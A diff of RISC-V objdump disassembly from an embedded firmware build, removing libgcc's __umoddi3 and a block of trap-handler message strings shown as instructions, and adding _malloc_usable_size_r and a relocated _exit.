-20404f44:	02e60733          	mul	a4,a2,a4
-20404f48:	00e6f863          	bgeu	a3,a4,20404f58 <__umoddi3+0x82>
-20404f4c:	96c2                	add	a3,a3,a6
-20404f4e:	0106e563          	bltu	a3,a6,20404f58 <__umoddi3+0x82>
-20404f52:	00e6f363          	bgeu	a3,a4,20404f58 <__umoddi3+0x82>
-20404f56:	96c2                	add	a3,a3,a6
-20404f58:	8e99                	sub	a3,a3,a4
-20404f5a:	02b6f7b3          	remu	a5,a3,a1
-20404f5e:	0542                	slli	a0,a0,0x10
-20404f60:	8141                	srli	a0,a0,0x10
-20404f62:	02b6d6b3          	divu	a3,a3,a1
-20404f66:	07c2                	slli	a5,a5,0x10
-20404f68:	8d5d                	or	a0,a0,a5
-20404f6a:	02d606b3          	mul	a3,a2,a3
-20404f6e:	00d57863          	bgeu	a0,a3,20404f7e <__umoddi3+0xa8>
-20404f72:	9542                	add	a0,a0,a6
-20404f74:	01056563          	bltu	a0,a6,20404f7e <__umoddi3+0xa8>
-20404f78:	00d57363          	bgeu	a0,a3,20404f7e <__umoddi3+0xa8>
-20404f7c:	9542                	add	a0,a0,a6
-20404f7e:	8d15                	sub	a0,a0,a3
-20404f80:	01155533          	srl	a0,a0,a7
-20404f84:	4581                	li	a1,0
-20404f86:	8082                	ret
-20404f88:	010008b7          	lui	a7,0x1000
-20404f8c:	47c1                	li	a5,16
-20404f8e:	f71668e3          	bltu	a2,a7,20404efe <__umoddi3+0x28>
-20404f92:	47e1                	li	a5,24
-20404f94:	b7ad                	j	20404efe <__umoddi3+0x28>
-20404f96:	e601                	bnez	a2,20404f9e <__umoddi3+0xc8>
-20404f98:	4705                	li	a4,1
-20404f9a:	02c75833          	divu	a6,a4,a2
-20404f9e:	6741                	lui	a4,0x10
-20404fa0:	08e87363          	bgeu	a6,a4,20405026 <__umoddi3+0x150>
-20404fa4:	0ff00713          	li	a4,255
-20404fa8:	01077363          	bgeu	a4,a6,20404fae <__umoddi3+0xd8>
-20404fac:	47a1                	li	a5,8
-20404fae:	00f85733          	srl	a4,a6,a5
-20404fb2:	96ba                	add	a3,a3,a4
-20404fb4:	0006c603          	lbu	a2,0(a3)
-20404fb8:	963e                	add	a2,a2,a5
-20404fba:	02000793          	li	a5,32
-20404fbe:	40c788b3          	sub	a7,a5,a2
-20404fc2:	06c79963          	bne	a5,a2,20405034 <__umoddi3+0x15e>
-20404fc6:	410585b3          	sub	a1,a1,a6
-20404fca:	01085693          	srli	a3,a6,0x10
-20404fce:	01081793          	slli	a5,a6,0x10
-20404fd2:	83c1                	srli	a5,a5,0x10
-20404fd4:	01055613          	srli	a2,a0,0x10
-20404fd8:	02d5f733          	remu	a4,a1,a3
-20404fdc:	02d5d5b3          	divu	a1,a1,a3
-20404fe0:	0742                	slli	a4,a4,0x10
-20404fe2:	8f51                	or	a4,a4,a2
-20404fe4:	02b785b3          	mul	a1,a5,a1
-20404fe8:	00b77863          	bgeu	a4,a1,20404ff8 <__umoddi3+0x122>
-20404fec:	9742                	add	a4,a4,a6
-20404fee:	01076563          	bltu	a4,a6,20404ff8 <__umoddi3+0x122>
-20404ff2:	00b77363          	bgeu	a4,a1,20404ff8 <__umoddi3+0x122>
-20404ff6:	9742                	add	a4,a4,a6
-20404ff8:	40b705b3          	sub	a1,a4,a1
-20404ffc:	02d5f733          	remu	a4,a1,a3
-20405000:	0542                	slli	a0,a0,0x10
-20405002:	8141                	srli	a0,a0,0x10
-20405004:	02d5d5b3          	divu	a1,a1,a3
-20405008:	02b785b3          	mul	a1,a5,a1
-2040500c:	01071793          	slli	a5,a4,0x10
-20405010:	8d5d                	or	a0,a0,a5
-20405012:	00b57863          	bgeu	a0,a1,20405022 <__umoddi3+0x14c>
-20405016:	9542                	add	a0,a0,a6
-20405018:	01056563          	bltu	a0,a6,20405022 <__umoddi3+0x14c>
-2040501c:	00b57363          	bgeu	a0,a1,20405022 <__umoddi3+0x14c>
-20405020:	9542                	add	a0,a0,a6
-20405022:	8d0d                	sub	a0,a0,a1
-20405024:	bfb1                	j	20404f80 <__umoddi3+0xaa>
-20405026:	01000737          	lui	a4,0x1000
-2040502a:	47c1                	li	a5,16
-2040502c:	f8e861e3          	bltu	a6,a4,20404fae <__umoddi3+0xd8>
-20405030:	47e1                	li	a5,24
-20405032:	bfb5                	j	20404fae <__umoddi3+0xd8>
-20405034:	01181833          	sll	a6,a6,a7
-20405038:	00c5d6b3          	srl	a3,a1,a2
-2040503c:	01085793          	srli	a5,a6,0x10
-20405040:	02f6f733          	remu	a4,a3,a5
-20405044:	011595b3          	sll	a1,a1,a7
-20405048:	00c35633          	srl	a2,t1,a2
-2040504c:	8e4d                	or	a2,a2,a1
-2040504e:	01081593          	slli	a1,a6,0x10
-20405052:	81c1                	srli	a1,a1,0x10
-20405054:	01131533          	sll	a0,t1,a7
-20405058:	01065313          	srli	t1,a2,0x10
-2040505c:	02f6d6b3          	divu	a3,a3,a5
-20405060:	0742                	slli	a4,a4,0x10
-20405062:	00676733          	or	a4,a4,t1
-20405066:	02d586b3          	mul	a3,a1,a3
-2040506a:	00d77863          	bgeu	a4,a3,2040507a <__umoddi3+0x1a4>
-2040506e:	9742                	add	a4,a4,a6
-20405070:	01076563          	bltu	a4,a6,2040507a <__umoddi3+0x1a4>
-20405074:	00d77363          	bgeu	a4,a3,2040507a <__umoddi3+0x1a4>
-20405078:	9742                	add	a4,a4,a6
-2040507a:	40d706b3          	sub	a3,a4,a3
-2040507e:	02f6f733          	remu	a4,a3,a5
-20405082:	0642                	slli	a2,a2,0x10
-20405084:	8241                	srli	a2,a2,0x10
-20405086:	02f6d6b3          	divu	a3,a3,a5
-2040508a:	0742                	slli	a4,a4,0x10
-2040508c:	02d586b3          	mul	a3,a1,a3
-20405090:	00c765b3          	or	a1,a4,a2
-20405094:	00d5f863          	bgeu	a1,a3,204050a4 <__umoddi3+0x1ce>
-20405098:	95c2                	add	a1,a1,a6
-2040509a:	0105e563          	bltu	a1,a6,204050a4 <__umoddi3+0x1ce>
-2040509e:	00d5f363          	bgeu	a1,a3,204050a4 <__umoddi3+0x1ce>
-204050a2:	95c2                	add	a1,a1,a6
-204050a4:	8d95                	sub	a1,a1,a3
-204050a6:	b715                	j	20404fca <__umoddi3+0xf4>
-204050a8:	ecd5efe3          	bltu	a1,a3,20404f86 <__umoddi3+0xb0>
-204050ac:	67c1                	lui	a5,0x10
-204050ae:	04f6f463          	bgeu	a3,a5,204050f6 <__umoddi3+0x220>
-204050b2:	0ff00893          	li	a7,255
-204050b6:	00d8b7b3          	sltu	a5,a7,a3
-204050ba:	078e                	slli	a5,a5,0x3
-204050bc:	00f6d8b3          	srl	a7,a3,a5
-204050c0:	00001817          	auipc	a6,0x1
-204050c4:	c2880813          	addi	a6,a6,-984 # 20405ce8 <__clz_tab>
-204050c8:	9846                	add	a6,a6,a7
-204050ca:	00084883          	lbu	a7,0(a6)
-204050ce:	98be                	add	a7,a7,a5
-204050d0:	02000793          	li	a5,32
-204050d4:	41178833          	sub	a6,a5,a7
-204050d8:	03179663          	bne	a5,a7,20405104 <__umoddi3+0x22e>
-204050dc:	00b6e463          	bltu	a3,a1,204050e4 <__umoddi3+0x20e>
-204050e0:	00c36963          	bltu	t1,a2,204050f2 <__umoddi3+0x21c>
-204050e4:	40c30533          	sub	a0,t1,a2
-204050e8:	8d95                	sub	a1,a1,a3
-204050ea:	00a33733          	sltu	a4,t1,a0
-204050ee:	40e58733          	sub	a4,a1,a4
-204050f2:	85ba                	mv	a1,a4
-204050f4:	bd49                	j	20404f86 <__umoddi3+0xb0>
-204050f6:	01000837          	lui	a6,0x1000
-204050fa:	47c1                	li	a5,16
-204050fc:	fd06e0e3          	bltu	a3,a6,204050bc <__umoddi3+0x1e6>
-20405100:	47e1                	li	a5,24
-20405102:	bf6d                	j	204050bc <__umoddi3+0x1e6>
-20405104:	011657b3          	srl	a5,a2,a7
-20405108:	010696b3          	sll	a3,a3,a6
-2040510c:	00d7ee33          	or	t3,a5,a3
-20405110:	0115d733          	srl	a4,a1,a7
-20405114:	010e5f13          	srli	t5,t3,0x10
-20405118:	01061eb3          	sll	t4,a2,a6
-2040511c:	03e77633          	remu	a2,a4,t5
-20405120:	010595b3          	sll	a1,a1,a6
-20405124:	011357b3          	srl	a5,t1,a7
-20405128:	8fcd                	or	a5,a5,a1
-2040512a:	010e1593          	slli	a1,t3,0x10
-2040512e:	81c1                	srli	a1,a1,0x10
-20405130:	01031533          	sll	a0,t1,a6
-20405134:	0107d693          	srli	a3,a5,0x10
-20405138:	03e75733          	divu	a4,a4,t5
-2040513c:	0642                	slli	a2,a2,0x10
-2040513e:	8ed1                	or	a3,a3,a2
-20405140:	02e58333          	mul	t1,a1,a4
-20405144:	863a                	mv	a2,a4
-20405146:	0066fc63          	bgeu	a3,t1,2040515e <__umoddi3+0x288>
-2040514a:	96f2                	add	a3,a3,t3
-2040514c:	fff70613          	addi	a2,a4,-1 # ffffff <__stack_size+0xfff7ff>
-20405150:	01c6e763          	bltu	a3,t3,2040515e <__umoddi3+0x288>
-20405154:	0066f563          	bgeu	a3,t1,2040515e <__umoddi3+0x288>
-20405158:	ffe70613          	addi	a2,a4,-2
-2040515c:	96f2                	add	a3,a3,t3
-2040515e:	406686b3          	sub	a3,a3,t1
-20405162:	03e6f333          	remu	t1,a3,t5
-20405166:	03e6d6b3          	divu	a3,a3,t5
-2040516a:	0342                	slli	t1,t1,0x10
-2040516c:	02d58733          	mul	a4,a1,a3
-20405170:	01079593          	slli	a1,a5,0x10
-20405174:	81c1                	srli	a1,a1,0x10
-20405176:	00b365b3          	or	a1,t1,a1
-2040517a:	87b6                	mv	a5,a3
-2040517c:	00e5fc63          	bgeu	a1,a4,20405194 <__umoddi3+0x2be>
-20405180:	95f2                	add	a1,a1,t3
-20405182:	fff68793          	addi	a5,a3,-1
-20405186:	01c5e763          	bltu	a1,t3,20405194 <__umoddi3+0x2be>
-2040518a:	00e5f563          	bgeu	a1,a4,20405194 <__umoddi3+0x2be>
-2040518e:	ffe68793          	addi	a5,a3,-2
-20405192:	95f2                	add	a1,a1,t3
-20405194:	0642                	slli	a2,a2,0x10
-20405196:	6f41                	lui	t5,0x10
-20405198:	8e5d                	or	a2,a2,a5
-2040519a:	ffff0693          	addi	a3,t5,-1 # ffff <__stack_size+0xf7ff>
-2040519e:	00d67333          	and	t1,a2,a3
-204051a2:	8d99                	sub	a1,a1,a4
-204051a4:	8241                	srli	a2,a2,0x10
-204051a6:	010ed713          	srli	a4,t4,0x10
-204051aa:	00def6b3          	and	a3,t4,a3
-204051ae:	02d307b3          	mul	a5,t1,a3
-204051b2:	02d606b3          	mul	a3,a2,a3
-204051b6:	02e30333          	mul	t1,t1,a4
-204051ba:	02e60633          	mul	a2,a2,a4
-204051be:	9336                	add	t1,t1,a3
-204051c0:	0107d713          	srli	a4,a5,0x10
-204051c4:	971a                	add	a4,a4,t1
-204051c6:	00d77363          	bgeu	a4,a3,204051cc <__umoddi3+0x2f6>
-204051ca:	967a                	add	a2,a2,t5
-204051cc:	01075693          	srli	a3,a4,0x10
-204051d0:	96b2                	add	a3,a3,a2
-204051d2:	6641                	lui	a2,0x10
-204051d4:	167d                	addi	a2,a2,-1
-204051d6:	8f71                	and	a4,a4,a2
-204051d8:	0742                	slli	a4,a4,0x10
-204051da:	8ff1                	and	a5,a5,a2
-204051dc:	97ba                	add	a5,a5,a4
-204051de:	00d5e663          	bltu	a1,a3,204051ea <__umoddi3+0x314>
-204051e2:	00d59b63          	bne	a1,a3,204051f8 <__umoddi3+0x322>
-204051e6:	00f57963          	bgeu	a0,a5,204051f8 <__umoddi3+0x322>
-204051ea:	41d78633          	sub	a2,a5,t4
-204051ee:	00c7b7b3          	sltu	a5,a5,a2
-204051f2:	97f2                	add	a5,a5,t3
-204051f4:	8e9d                	sub	a3,a3,a5
-204051f6:	87b2                	mv	a5,a2
-204051f8:	40f507b3          	sub	a5,a0,a5
-204051fc:	00f53533          	sltu	a0,a0,a5
-20405200:	8d95                	sub	a1,a1,a3
-20405202:	8d89                	sub	a1,a1,a0
-20405204:	011598b3          	sll	a7,a1,a7
-20405208:	0107d533          	srl	a0,a5,a6
-2040520c:	00a8e533          	or	a0,a7,a0
-20405210:	0105d5b3          	srl	a1,a1,a6
-20405214:	bb8d                	j	20404f86 <__umoddi3+0xb0>
+20403bde <_malloc_usable_size_r>:
+20403bde:	ffc5a783          	lw	a5,-4(a1)
+20403be2:	ffc78513          	addi	a0,a5,-4
+20403be6:	0007d563          	bgez	a5,20403bf0 <_malloc_usable_size_r+0x12>
+20403bea:	95aa                	add	a1,a1,a0
+20403bec:	419c                	lw	a5,0(a1)
+20403bee:	953e                	add	a0,a0,a5
+20403bf0:	8082                	ret
 
-20405216 <_exit>:
-20405216:	a001                	j	20405216 <_exit>
+20403bf2 <_exit>:
+20403bf2:	a001                	j	20403bf2 <_exit>
 
 Disassembly of section .rodata:
 
-20405218 <__clz_tab-0xad0>:
-20405218:	6e49                	lui	t3,0x12
-2040521a:	75727473          	csrrci	s0,0x757,4
-2040521e:	6f697463          	bgeu	s2,s6,20405906 <_exit+0x6f0>
-20405222:	206e                	fld	ft0,216(sp)
-20405224:	6461                	lui	s0,0x18
-20405226:	7264                	flw	fs1,100(a2)
-20405228:	7365                	lui	t1,0xffff9
-2040522a:	696d2073          	csrs	0x696,s10
-2040522e:	6c617373          	csrrci	t1,0x6c6,2
-20405232:	6769                	lui	a4,0x1a
-20405234:	656e                	flw	fa0,216(sp)
-20405236:	2064                	fld	fs1,192(s0)
-20405238:	203a                	fld	ft0,392(sp)
-2040523a:	7830                	flw	fa2,112(s0)
-2040523c:	3025                	jal	20404a64 <__swsetup_r+0x7a>
-2040523e:	7838                	flw	fa4,112(s0)
-20405240:	3020                	fld	fs0,96(s0)
-20405242:	2578                	fld	fa4,200(a0)
-20405244:	3830                	fld	fa2,112(s0)
-20405246:	2078                	fld	fa4,192(s0)
-20405248:	7830                	flw	fa2,112(s0)
-2040524a:	3025                	jal	20404a72 <__swsetup_r+0x88>
-2040524c:	7838                	flw	fa4,112(s0)
-2040524e:	0a20                	addi	s0,sp,280
-20405250:	0000                	unimp
-20405252:	0000                	unimp
-20405254:	6e49                	lui	t3,0x12
-20405256:	75727473          	csrrci	s0,0x757,4
-2040525a:	6f697463          	bgeu	s2,s6,20405942 <_exit+0x72c>
-2040525e:	206e                	fld	ft0,216(sp)
-20405260:	6361                	lui	t1,0x18
-20405262:	73736563          	bltu	t1,s7,2040598c <_exit+0x776>
-20405266:	6620                	flw	fs0,72(a2)
-20405268:	7561                	lui	a0,0xffff8
-2040526a:	746c                	flw	fa1,108(s0)
-2040526c:	3a20                	fld	fs0,112(a2)
-2040526e:	3020                	fld	fs0,96(s0)
-20405270:	2578                	fld	fa4,200(a0)
-20405272:	3830                	fld	fa2,112(s0)
-20405274:	2078                	fld	fa4,192(s0)
-20405276:	7830                	flw	fa2,112(s0)
-20405278:	3025                	jal	20404aa0 <__swsetup_r+0xb6>
-2040527a:	7838                	flw	fa4,112(s0)
-2040527c:	3020                	fld	fs0,96(s0)
-2040527e:	2578                	fld	fa4,200(a0)
-20405280:	3830                	fld	fa2,112(s0)
-20405282:	2078                	fld	fa4,192(s0)
-20405284:	000a                	c.slli	zero,0x2
-20405286:	0000                	unimp
-20405288:	6c49                	lui	s8,0x12
-2040528a:	656c                	flw	fa1,76(a0)
-2040528c:	206c6167          	0x206c6167
-20405290:	6e69                	lui	t3,0x1a
-20405292:	75727473          	csrrci	s0,0x757,4
-20405296:	6f697463          	bgeu	s2,s6,2040597e <_exit+0x768>
-2040529a:	206e                	fld	ft0,216(sp)
-2040529c:	203a                	fld	ft0,392(sp)
-2040529e:	7830                	flw	fa2,112(s0)
-204052a0:	3025                	jal	20404ac8 <__swsetup_r+0xde>
-204052a2:	7838                	flw	fa4,112(s0)
-204052a4:	3020                	fld	fs0,96(s0)
-204052a6:	2578                	fld	fa4,200(a0)
-204052a8:	3830                	fld	fa2,112(s0)
-204052aa:	2078                	fld	fa4,192(s0)
-204052ac:	7830                	flw	fa2,112(s0)
-204052ae:	3025                	jal	20404ad6 <__swsetup_r+0xec>
-204052b0:	7838                	flw	fa4,112(s0)
-204052b2:	0a20                	addi	s0,sp,280
-204052b4:	0000                	unimp
-204052b6:	0000                	unimp
-204052b8:	7242                	flw	ft4,48(sp)
-204052ba:	6165                	addi	sp,sp,112
-204052bc:	696f706b          	0x696f706b
-204052c0:	746e                	flw	fs0,248(sp)
-204052c2:	3a20                	fld	fs0,112(a2)
-204052c4:	3020                	fld	fs0,96(s0)
-204052c6:	2578                	fld	fa4,200(a0)
-204052c8:	3830                	fld	fa2,112(s0)
-204052ca:	2078                	fld	fa4,192(s0)
-204052cc:	7830                	flw	fa2,112(s0)
-204052ce:	3025                	jal	20404af6 <_close_r+0x2>
-204052d0:	7838                	flw	fa4,112(s0)
-204052d2:	3020                	fld	fs0,96(s0)
-204052d4:	2578                	fld	fa4,200(a0)
-204052d6:	3830                	fld	fa2,112(s0)
-204052d8:	2078                	fld	fa4,192(s0)
-204052da:	000a                	c.slli	zero,0x2
-204052dc:	6f4c                	flw	fa1,28(a4)
-204052de:	6461                	lui	s0,0x18
-204052e0:	6120                	flw	fs0,64(a0)
-204052e2:	6464                	flw	fs1,76(s0)
-204052e4:	6572                	flw	fa0,28(sp)
-204052e6:	6d207373          	csrrci	t1,0x6d2,0
-204052ea:	7369                	lui	t1,0xffffa
-204052ec:	696c6173          	csrrsi	sp,0x696,24
-204052f0:	64656e67          	0x64656e67
-204052f4:	3a20                	fld	fs0,112(a2)
-204052f6:	3020                	fld	fs0,96(s0)
-204052f8:	2578                	fld	fa4,200(a0)
-204052fa:	3830                	fld	fa2,112(s0)
-204052fc:	2078                	fld	fa4,192(s0)
-204052fe:	7830                	flw	fa2,112(s0)
-20405300:	3025                	jal	20404b28 <__sflush_r+0xc>
-20405302:	7838                	flw	fa4,112(s0)
-20405304:	3020                	fld	fs0,96(s0)
-20405306:	2578                	fld	fa4,200(a0)
-20405308:	3830                	fld	fa2,112(s0)
-2040530a:	2078                	fld	fa4,192(s0)
-2040530c:	000a                	c.slli	zero,0x2
-2040530e:	0000                	unimp
-20405310:	6f4c                	flw	fa1,28(a4)
-20405312:	6461                	lui	s0,0x18
-20405314:	6120                	flw	fs0,64(a0)
-20405316:	73656363          	bltu	a0,s6,20405a3c <_exit+0x826>
-2040531a:	61662073          	csrs	0x616,a2
-2040531e:	6c75                	lui	s8,0x1d
-20405320:	2074                	fld	fa3,192(s0)
-20405322:	203a                	fld	ft0,392(sp)
-20405324:	7830                	flw	fa2,112(s0)
-20405326:	3025                	jal	20404b4e <__sflush_r+0x32>
-20405328:	7838                	flw	fa4,112(s0)
-2040532a:	3020                	fld	fs0,96(s0)
-2040532c:	2578                	fld	fa4,200(a0)
-2040532e:	3830                	fld	fa2,112(s0)
-20405330:	2078                	fld	fa4,192(s0)
-20405332:	7830                	flw	fa2,112(s0)
-20405334:	3025                	jal	20404b5c <__sflush_r+0x40>
-20405336:	7838                	flw	fa4,112(s0)
-20405338:	0a20                	addi	s0,sp,280
-2040533a:	0000                	unimp
-2040533c:	726f7453          	0x726f7453
-20405340:	2f65                	jal	20405af8 <_exit+0x8e2>
-20405342:	4d41                	li	s10,16
-20405344:	6461204f          	0x6461204f
-20405348:	7264                	flw	fs1,100(a2)
-2040534a:	7365                	lui	t1,0xffff9
-2040534c:	696d2073          	csrs	0x696,s10
-20405350:	6c617373          	csrrci	t1,0x6c6,2
-20405354:	6769                	lui	a4,0x1a
-20405356:	656e                	flw	fa0,216(sp)
-20405358:	2064                	fld	fs1,192(s0)
-2040535a:	203a                	fld	ft0,392(sp)
-2040535c:	7830                	flw	fa2,112(s0)
-2040535e:	3025                	jal	20404b86 <__sflush_r+0x6a>
-20405360:	7838                	flw	fa4,112(s0)
-20405362:	3020                	fld	fs0,96(s0)
-20405364:	2578                	fld	fa4,200(a0)
-20405366:	3830                	fld	fa2,112(s0)
-20405368:	2078                	fld	fa4,192(s0)
-2040536a:	7830                	flw	fa2,112(s0)
-2040536c:	3025                	jal	20404b94 <__sflush_r+0x78>
-2040536e:	7838                	flw	fa4,112(s0)
-20405370:	0a20                	addi	s0,sp,280
-20405372:	0000                	unimp
-20405374:	726f7453          	0x726f7453
-20405378:	2065                	jal	20405420 <_exit+0x20a>
-2040537a:	6361                	lui	t1,0x18
-2040537c:	73736563          	bltu	t1,s7,20405aa6 <_exit+0x890>
-20405380:	6620                	flw	fs0,72(a2)
-20405382:	7561                	lui	a0,0xffff8
-20405384:	746c                	flw	fa1,108(s0)
-20405386:	3a20                	fld	fs0,112(a2)
-20405388:	3020                	fld	fs0,96(s0)
-2040538a:	2578                	fld	fa4,200(a0)
-2040538c:	3830                	fld	fa2,112(s0)
-2040538e:	2078                	fld	fa4,192(s0)
-20405390:	7830                	flw	fa2,112(s0)
-20405392:	3025                	jal	20404bba <__sflush_r+0x9e>
-20405394:	7838                	flw	fa4,112(s0)
-20405396:	3020                	fld	fs0,96(s0)
-20405398:	2578                	fld	fa4,200(a0)
-2040539a:	3830                	fld	fa2,112(s0)
-2040539c:	2078                	fld	fa4,192(s0)
-2040539e:	000a                	c.slli	zero,0x2
-204053a0:	6e45                	lui	t3,0x11
-204053a2:	6976                	flw	fs2,92(sp)
-204053a4:	6f72                	flw	ft10,28(sp)
-204053a6:	6d6e                	flw	fs10,216(sp)
-204053a8:	6e65                	lui	t3,0x19
-204053aa:	2074                	fld	fa3,192(s0)
-204053ac:	6c6c6163          	bltu	s8,t1,20405a6e <_exit+0x858>
-204053b0:	6620                	flw	fs0,72(a2)
-204053b2:	6f72                	flw	ft10,28(sp)
-204053b4:	206d                	jal	2040545e <_exit+0x248>
-204053b6:	2d55                	jal	20405a6a <_exit+0x854>
-204053b8:	6f6d                	lui	t5,0x1b
-204053ba:	6564                	flw	fs1,76(a0)
-204053bc:	3a20                	fld	fs0,112(a2)
-204053be:	3020                	fld	fs0,96(s0)
-204053c0:	2578                	fld	fa4,200(a0)
-204053c2:	3830                	fld	fa2,112(s0)
-204053c4:	2078                	fld	fa4,192(s0)
-204053c6:	7830                	flw	fa2,112(s0)
-204053c8:	3025                	jal	20404bf0 <__sflush_r+0xd4>
-204053ca:	7838                	flw	fa4,112(s0)
-204053cc:	3020                	fld	fs0,96(s0)
-204053ce:	2578                	fld	fa4,200(a0)
-204053d0:	3830                	fld	fa2,112(s0)
-204053d2:	2078                	fld	fa4,192(s0)
-204053d4:	000a                	c.slli	zero,0x2
-204053d6:	0000                	unimp
-204053d8:	6e45                	lui	t3,0x11
-204053da:	6976                	flw	fs2,92(sp)
-204053dc:	6f72                	flw	ft10,28(sp)
-204053de:	6d6e                	flw	fs10,216(sp)
-204053e0:	6e65                	lui	t3,0x19
-204053e2:	2074                	fld	fa3,192(s0)
-204053e4:	6c6c6163          	bltu	s8,t1,20405aa6 <_exit+0x890>
-204053e8:	6620                	flw	fs0,72(a2)
-204053ea:	6f72                	flw	ft10,28(sp)
-204053ec:	206d                	jal	20405496 <_exit+0x280>
-204053ee:	6f6d2d53          	0x6f6d2d53
-204053f2:	6564                	flw	fs1,76(a0)
-204053f4:	3a20                	fld	fs0,112(a2)
-204053f6:	3020                	fld	fs0,96(s0)
-204053f8:	2578                	fld	fa4,200(a0)
-204053fa:	3830                	fld	fa2,112(s0)
-204053fc:	2078                	fld	fa4,192(s0)
-204053fe:	7830                	flw	fa2,112(s0)
-20405400:	3025                	jal	20404c28 <__sflush_r+0x10c>
-20405402:	7838                	flw	fa4,112(s0)
-20405404:	3020                	fld	fs0,96(s0)
-20405406:	2578                	fld	fa4,200(a0)
-20405408:	3830                	fld	fa2,112(s0)
-2040540a:	2078                	fld	fa4,192(s0)
-2040540c:	000a                	c.slli	zero,0x2
-2040540e:	0000                	unimp
-20405410:	6e45                	lui	t3,0x11
-20405412:	6976                	flw	fs2,92(sp)
-20405414:	6f72                	flw	ft10,28(sp)
-20405416:	6d6e                	flw	fs10,216(sp)
-20405418:	6e65                	lui	t3,0x19
-2040541a:	2074                	fld	fa3,192(s0)
-2040541c:	6c6c6163          	bltu	s8,t1,20405ade <_exit+0x8c8>
-20405420:	6620                	flw	fs0,72(a2)
-20405422:	6f72                	flw	ft10,28(sp)
-20405424:	206d                	jal	204054ce <_exit+0x2b8>
-20405426:	2d4d                	jal	20405ad8 <_exit+0x8c2>
-20405428:	6f6d                	lui	t5,0x1b
-2040542a:	6564                	flw	fs1,76(a0)
-2040542c:	3a20                	fld	fs0,112(a2)
-2040542e:	3020                	fld	fs0,96(s0)
-20405430:	2578                	fld	fa4,200(a0)
-20405432:	3830                	fld	fa2,112(s0)
-20405434:	2078                	fld	fa4,192(s0)
-20405436:	7830                	flw	fa2,112(s0)
-20405438:	3025                	jal	20404c60 <__sflush_r+0x144>
-2040543a:	7838                	flw	fa4,112(s0)
-2040543c:	3020                	fld	fs0,96(s0)
-2040543e:	2578                	fld	fa4,200(a0)
-20405440:	3830                	fld	fa2,112(s0)
-20405442:	2078                	fld	fa4,192(s0)
-20405444:	000a                	c.slli	zero,0x2
-20405446:	0000                	unimp
-20405448:	5b1b371b          	0x5b1b371b
-2040544c:	4b32                	lw	s6,12(sp)
-2040544e:	0000                	unimp
-20405450:	440d                	li	s0,3
-20405452:	414d                	li	sp,19
-20405454:	7420                	flw	fs0,104(s0)
-20405456:	6172                	flw	ft2,28(sp)
-20405458:	736e                	flw	ft6,248(sp)
-2040545a:	6566                	flw	fa0,88(sp)
-2040545c:	2072                	fld	ft0,280(sp)
-2040545e:	706d6f63          	bltu	s10,t1,20405b7c <_exit+0x966>
-20405462:	656c                	flw	fa1,76(a0)
-20405464:	6574                	flw	fa3,76(a0)
-20405466:	0a20                	addi	s0,sp,280
-20405468:	0000                	unimp
-2040546a:	0000                	unimp
-2040546c:	72756f73          	csrrsi	t5,0x727,10
-20405470:	3a206563          	bltu	zero,sp,2040581a <_exit+0x604>
-20405474:	3020                	fld	fs0,96(s0)
-20405476:	2578                	fld	fa4,200(a0)
-20405478:	3830                	fld	fa2,112(s0)
-2040547a:	2078                	fld	fa4,192(s0)
-2040547c:	000a                	c.slli	zero,0x2
-2040547e:	0000                	unimp
-20405480:	6564                	flw	fs1,76(a0)
-20405482:	20207473          	csrrci	s0,hedeleg,0
-20405486:	3a20                	fld	fs0,112(a2)
-20405488:	3020                	fld	fs0,96(s0)
-2040548a:	2578                	fld	fa4,200(a0)
-2040548c:	3830                	fld	fa2,112(s0)
-2040548e:	2078                	fld	fa4,192(s0)
-20405490:	000a                	c.slli	zero,0x2
-20405492:	0000                	unimp
-20405494:	657a6973          	csrrsi	s2,0x657,20
-20405498:	2020                	fld	fs0,64(s0)
-2040549a:	3a20                	fld	fs0,112(a2)
-2040549c:	3020                	fld	fs0,96(s0)
-2040549e:	2578                	fld	fa4,200(a0)
-204054a0:	3830                	fld	fa2,112(s0)
-204054a2:	2078                	fld	fa4,192(s0)
-204054a4:	000a                	c.slli	zero,0x2
-204054a6:	0000                	unimp
-204054a8:	5b1b381b          	0x5b1b381b
-204054ac:	4234                	lw	a3,64(a2)
-204054ae:	0000                	unimp
-204054b0:	4d0d                	li	s10,3
-204054b2:	6361                	lui	t1,0x18
-204054b4:	6968                	flw	fa0,84(a0)
-204054b6:	656e                	flw	fa0,216(sp)
-204054b8:	7420                	flw	fs0,104(s0)
-204054ba:	6d69                	lui	s10,0x1a
-204054bc:	7265                	lui	tp,0xffff9
-204054be:	6920                	flw	fs0,80(a0)
-204054c0:	746e                	flw	fs0,248(sp)
-204054c2:	7265                	lui	tp,0xffff9
-204054c4:	7572                	flw	fa0,60(sp)
-204054c6:	7470                	flw	fa2,108(s0)
-204054c8:	3a20                	fld	fs0,112(a2)
-204054ca:	3020                	fld	fs0,96(s0)
-204054cc:	2578                	fld	fa4,200(a0)
-204054ce:	3830                	fld	fa2,112(s0)
-204054d0:	2078                	fld	fa4,192(s0)
-204054d2:	7830                	flw	fa2,112(s0)
-204054d4:	3025                	jal	20404cfc <__swhatbuf_r+0x6>
-204054d6:	7838                	flw	fa4,112(s0)
-204054d8:	3020                	fld	fs0,96(s0)
-204054da:	2578                	fld	fa4,200(a0)
-204054dc:	3830                	fld	fa2,112(s0)
-204054de:	2078                	fld	fa4,192(s0)
-204054e0:	000a                	c.slli	zero,0x2
-204054e2:	0000                	unimp
-204054e4:	5a0a                	lw	s4,160(sp)
-204054e6:	2032                	fld	ft0,264(sp)
-204054e8:	203e                	fld	ft0,456(sp)
-204054ea:	7325                	lui	t1,0xfffe9
-204054ec:	0000                	unimp
-204054ee:	0000                	unimp
-204054f0:	5b1b381b          	0x5b1b381b
-204054f4:	4232                	lw	tp,12(sp)
-204054f6:	0000                	unimp
-204054f8:	7845                	lui	a6,0xffff1
-204054fa:	74706563          	bltu	zero,t2,20405c44 <_exit+0xa2e>
-204054fe:	6f69                	lui	t5,0x1a
-20405500:	206e                	fld	ft0,216(sp)
-20405502:	203a                	fld	ft0,392(sp)
-20405504:	7830                	flw	fa2,112(s0)
-20405506:	3025                	jal	20404d2e <__swhatbuf_r+0x38>
-20405508:	7838                	flw	fa4,112(s0)
-2040550a:	3020                	fld	fs0,96(s0)
-2040550c:	2578                	fld	fa4,200(a0)
-2040550e:	3830                	fld	fa2,112(s0)
-20405510:	2078                	fld	fa4,192(s0)
-20405512:	7830                	flw	fa2,112(s0)
-20405514:	3025                	jal	20404d3c <__swhatbuf_r+0x46>
-20405516:	7838                	flw	fa4,112(s0)
-20405518:	0a20                	addi	s0,sp,280
-2040551a:	0000                	unimp
-2040551c:	7250                	flw	fa2,36(a2)
